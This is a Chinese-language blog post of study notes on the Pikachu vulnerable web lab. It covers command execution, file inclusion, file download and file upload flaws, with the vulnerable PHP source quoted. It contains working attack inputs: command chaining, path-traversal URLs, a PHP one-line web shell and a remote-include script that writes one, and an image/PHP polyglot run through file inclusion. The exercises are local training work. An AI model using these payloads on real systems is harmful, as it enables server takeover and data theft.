【pikachu】遠程命令、代碼執行漏洞原理及案例演示—— pika pika chu 皮卡丘

 

 

37.6-1 遠程命令、代碼執行漏洞原理及案例演示(Av96582332,P37)

 

RCE(remote command/code execute)概述

    RCE漏洞,可以讓攻擊者直接向後臺服務器遠程注入操作系統命令或者代碼,從而控制後臺系統。

    遠程系統命令執行

    一般出現這種漏洞,是因爲應用系統從設計上需要給用戶提供指定的遠程命令操作的接口

    比如我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上

    一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交後,後臺會對該IP地址進行一次ping測試,並返回測試結果。 而,如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該接口提交“意想不到”的命令,從而讓後臺進行執行,從而控制整個後臺服務器

 

    現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作。 在這種平臺上往往會出現遠程系統命令執行的漏洞,不信的話現在就可以找你們運維部的系統測試一下,會有意想不到的"收穫"-_-

 

    遠程代碼執行

    同樣的道理,因爲需求設計,後臺有時候也會把用戶的輸入作爲代碼的一部分進行執行,也就造成了遠程代碼執行漏洞。 不管是使用了代碼執行的函數,還是使用了不安全的反序列化等等。

    因此,如果需要給前端用戶提供操作類的API接口,一定需要對接口輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。

    你可以通過“RCE”對應的測試欄目,來進一步的瞭解該漏洞

 

 

38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)

 

通過拼接符號,執行其他命令

 

127.0.0.1

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64

 

Ping statistics for 127.0.0.1:

    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

    Minimum = 0ms, Maximum = 0ms, Average = 0ms

 

127.0.0.1 & ifconfig

 

自己好像沒成功和上面一樣

 

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){

    $ip=$_POST['ipaddress'];

//     $check=explode('.', $ip);可以先拆分,然後校驗數字以範圍,第一位和第四位1-255,中間兩位0-255

    if(stristr(php_uname('s'), 'windows')){

//         var_dump(php_uname('s'));

        $result.=shell_exec('ping '.$ip);//直接將變量拼接進來,沒做處理

    }else {

        $result.=shell_exec('ping -c 4 '.$ip);

    }

 

}

 

在exec eval頁面

phpinfo();

 

if(isset($_POST['submit']) && $_POST['txt'] != null){

    if(@!eval($_POST['txt'])){

        $html.="<p>你喜歡的字符還挺奇怪的!</p>";

 

 

38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)

 

 

 

 

 

 

球員照片文件是後臺的,而文件名是前端傳到後臺的,因此可以修改傳入的文件名

猜測是linux系統,文件改成後臺配置文件(有很多)

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../文件名&submit=Submit+Query

加多個 ../ 到根目錄

演示是../../../../../../../etc/password

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../README.md&submit=Submit+Query

自己windos測試,打開了附帶的md文件

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../1.txt&submit=Submit+Query

 

 

if(isset($_GET['submit']) && $_GET['filename']!=null){

    $filename=$_GET['filename'];

    include "include/$filename";//變量傳進來直接包含,沒做任何的安全限制

//     //安全的寫法,使用白名單,嚴格指定包含的文件名

//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){

//         include "include/$filename";

 

//     }

 

 

39.7-2 遠程文件包含漏洞案例講解和演示(Av96582332,P39)

 

 

 

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=Submit+Query

原始url

 

127.0.0.1:4431/pikachu/test/yijuhua.txt

訪問的是以下文件內容

<?php

/**

 * Created by runner.han

 * There is nothing new under the sun

 */

$myfile = fopen("yijuhua.php","w");

$txt = '<?php system($_GET[x]);?>';

fwrite($myfile,$txt);

fclose($myfile);

?>

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:4431/pikachu/test/yijuhua.txt&submit=Submit+Query

把filename後面的路徑改爲遠端路徑

 

本地文件包含漏洞,利用有限,只能用本地文件,還要猜到路徑,危害低;遠程包含函數,可以讀遠程站點上的文件,可以自己搭,寫需要的東西來加載控制

 

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/yijuhua.php?x=ifconfig

 

前面在本地執行後,就會生成一句話木馬,只要給x傳系統命令

 

使用前,得知道一句話目錄的位置,一般跟當前php頁面在同一級下

 

 

 

if(isset($_GET['submit']) && $_GET['filename']!=null){

    $filename=$_GET['filename'];

    include "$filename";//變量傳進來直接包含,沒做任何的安全限制

 

 

40.7-3 文件包含漏洞防範措施(Av96582332,P40)

 

 

 

 

41.8-1 不安全的文件下載原理和案例演示(Av96582332,P41)

 

控制不嚴格,可下載任意文件

網頁下載圖片,是在後面傳參 filename=kb.png

可以用目錄遍歷測這個漏洞

../ 目錄跳轉,敲的足夠多,可以到根目錄,再一級一級往下讀取

 

 

linux下面很多文件都是固定的

etc/password

etc/fstab 磁盤掛載配置文件

 

                <div class="png" style="float: left">

                    <img src="download/kb.png" /><br />

                    <a href="execdownload.php?filename=kb.png" >科比.布萊恩特</a>

                </div>

 

 

 

$file_path="download/{$_GET['filename']}";

//用以解決中文不能顯示出來的問題

$file_path=iconv("utf-8","gb2312",$file_path);

 

//首先要判斷給定的文件存在與否

if(!file_exists($file_path)){

    skip("你要下載的文件不存在,請重新下載", 'unsafe_down.php');

    return ;

}

$fp=fopen($file_path,"rb");

$file_size=filesize($file_path);

//下載文件需要用到的頭

ob_clean();//輸出前一定要clean一下,否則圖片打不開

Header("Content-type: application/octet-stream");

Header("Accept-Ranges: bytes");

Header("Accept-Length:".$file_size);

Header("Content-Disposition: attachment; filename=".basename($file_path));

$buffer=1024;

$file_count=0;

//向瀏覽器返回數據

 

//循環讀取文件流,然後返回到瀏覽器feof確認是否到EOF

while(!feof($fp) && $file_count<$file_size){

 

    $file_con=fread($fp,$buffer);

    $file_count+=$buffer;

 

    echo $file_con;

}

fclose($fp);

?>

 

 

 

42.8-2 不安全的文件上傳原理及客戶端繞過案例(Av96582332,P42)

 

 

 

 

 

 

client check 前端彈框不能上傳

 

看網頁源碼,之前xss已講,前端限制操作只能輔助,不能起到實際的作用,很容易控制檯刪改繞過

 

 

 

 

 

刪掉這部分

 

上傳一句話木馬文件system.php

<?php system($_GET['x']);?>

 

 

實際情況,可能不知道上傳的目錄,想辦法判斷位置,最終訪問它

實際上傳位置

D:\Program Files\xampp\htdocs\pikachu\vul\unsafeupload\uploads

 

初始頁面

127.0.0.1:4431/pikachu/vul/unsafeupload/clientcheck.php

 

127.0.0.1:4431/pikachu/vul/unsafeupload/system.php?x=ifconfig

 

 

 

42.8-2 不安全的文件上傳原理及客戶端繞過案例(Av96582332,P42)

 

 

 

 

 

if(isset($_POST['submit'])){

//     var_dump($_FILES);

    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME類型,這裏只是對MIME類型做了判斷。

    $save_path='uploads';//指定在當前目錄建立一個目錄

    $upload=upload_sick('uploadfile',$mime,$save_path);//調用函數

    if($upload['return']){

        $html.="<p class='notice'>文件上傳成功</p><p class='notice'>文件保存的路徑爲:{$upload['new_path']}</p>";

    }else{

        $html.="<p class=notice>{$upload['error']}</p>";

    }

}

 

問題出在$_file(全局方法)獲取文件類型,再與定義好的mime類型比較,是從遊覽器http頭獲取content-type,這個前端用戶可以控制繞過

 

 

44.8-4 文件上傳之getimagesize繞過案例和防範措施(Av96582332,P44)

 

 

是讀取文件16進制內容頭字符串

linux下 xxd讀目標文件16進制

xxd abc.png 1head -n 1

 

windos下

進cmd,dir看目錄文件

copy /b 1.png + phpinfo.php a.png

 

linux xxd a.png

頭部正常,尾部加了惡意代碼

 

初始網頁

127.0.0.1:4431/pikachu/vul/unsafeupload/getimagesize.php

 

文件上傳成功

 

文件路徑非常重要

文件保存的路徑爲:uploads/2020/04/16/5569195e98707823cee611568981.png

 

更具體的路徑是

unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png

綠色的部分需要猜測,或暴力破解得到

 

127.0.0.1:4431/pikachu/vul/unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png

直接路徑訪問是看到圖片是,裏面的代碼不會執行

 

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query

切換到,文件本地包含頁面,綠色部分是需要改成圖片的相對路徑,粉色的部分也要帶上,不然不會執行

 

用文件包含上傳include函數,以當前爲代碼點爲根節點讀取,前面有錯誤(即使前面是16進制代碼),依然會往下繼續執行,包括執行寫入的php代碼。

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query

加../直到與文件上傳目錄平級

 

127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query

加了很多../,但這樣實現不了,因爲fileinclude和unsafeupload是平級,上傳圖片的uploads文件夾在unsafeupload裏面。往上可以,但沒有一步一步下到文件夾裏面

 

 

往上跳兩級,剛好與大目錄平級(注意是url中是/,windos目錄

直接複製是反斜槓\,試了也行)

 

 

 

 

45.9-1 越權漏洞原理及水平越權案例演示(Av96582332,P45)

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章